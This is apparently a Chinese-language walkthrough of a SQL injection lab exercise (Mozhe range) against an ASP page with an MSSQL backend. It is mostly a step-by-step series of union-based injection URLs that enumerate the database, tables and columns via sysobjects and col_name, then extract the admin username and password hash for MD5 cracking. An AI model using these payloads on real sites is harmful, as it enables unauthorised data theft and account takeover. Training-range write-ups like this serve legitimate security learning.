/new_list.asp?id=2 and 1=2 ,返回页面没报错
/new_list.asp?id=2 order by 1 ,测试有多少个字段,知道order by 4还有页面回显
这里有个坑,一开始走正常的流程测回显位置 /new_list.asp?id=2 and 1=2 union select 1,2,3,4 ,
用 union select 连接,页面报错
后来上网搜索才发觉,用union all select 可以成功,所以/new_list.asp?id=2 and 1=2 union all select 1,2,3,4 ,
一样报错
后来卡了很久才发发现select 1,2,'3',4。这里的3是字符串类型。因为UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。一开始的3是数字类型,数据库的是字符串类型所以一直失败。
改为:/new_list.asp?id=2 and 1=2 union all select 1,2,'3',4,测到回显位置了
爆库
/new_list.asp?id=2 and 1=2 union all select 1,db_name(),'3',4,名为mozhe_db_v2
爆表
/new_list.asp?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
这里的mmsql和mysql语法有点不同,mmsql记录敏感信息的表在sysobjects 中。
具体参数可以去这个链接了解:
https://www.cnblogs.com/atree/p/SQL-Server-sysobjects.html。
https://blog.csdn.net/jackmacro/article/details/6405871
当xtype='U' 代表是用户建立的表。
爆字段
/new_list.asp?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4
这里解释一下col_name(),与object()
object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的
col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.
/new_list.asp?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4 得username
/new_list.asp?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4 得password
说明mange表总共有3列,分别为:id、username、password
爆字段内容
/new_list.asp?id=2 and 1=2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4
MD5在线解密即可得出答案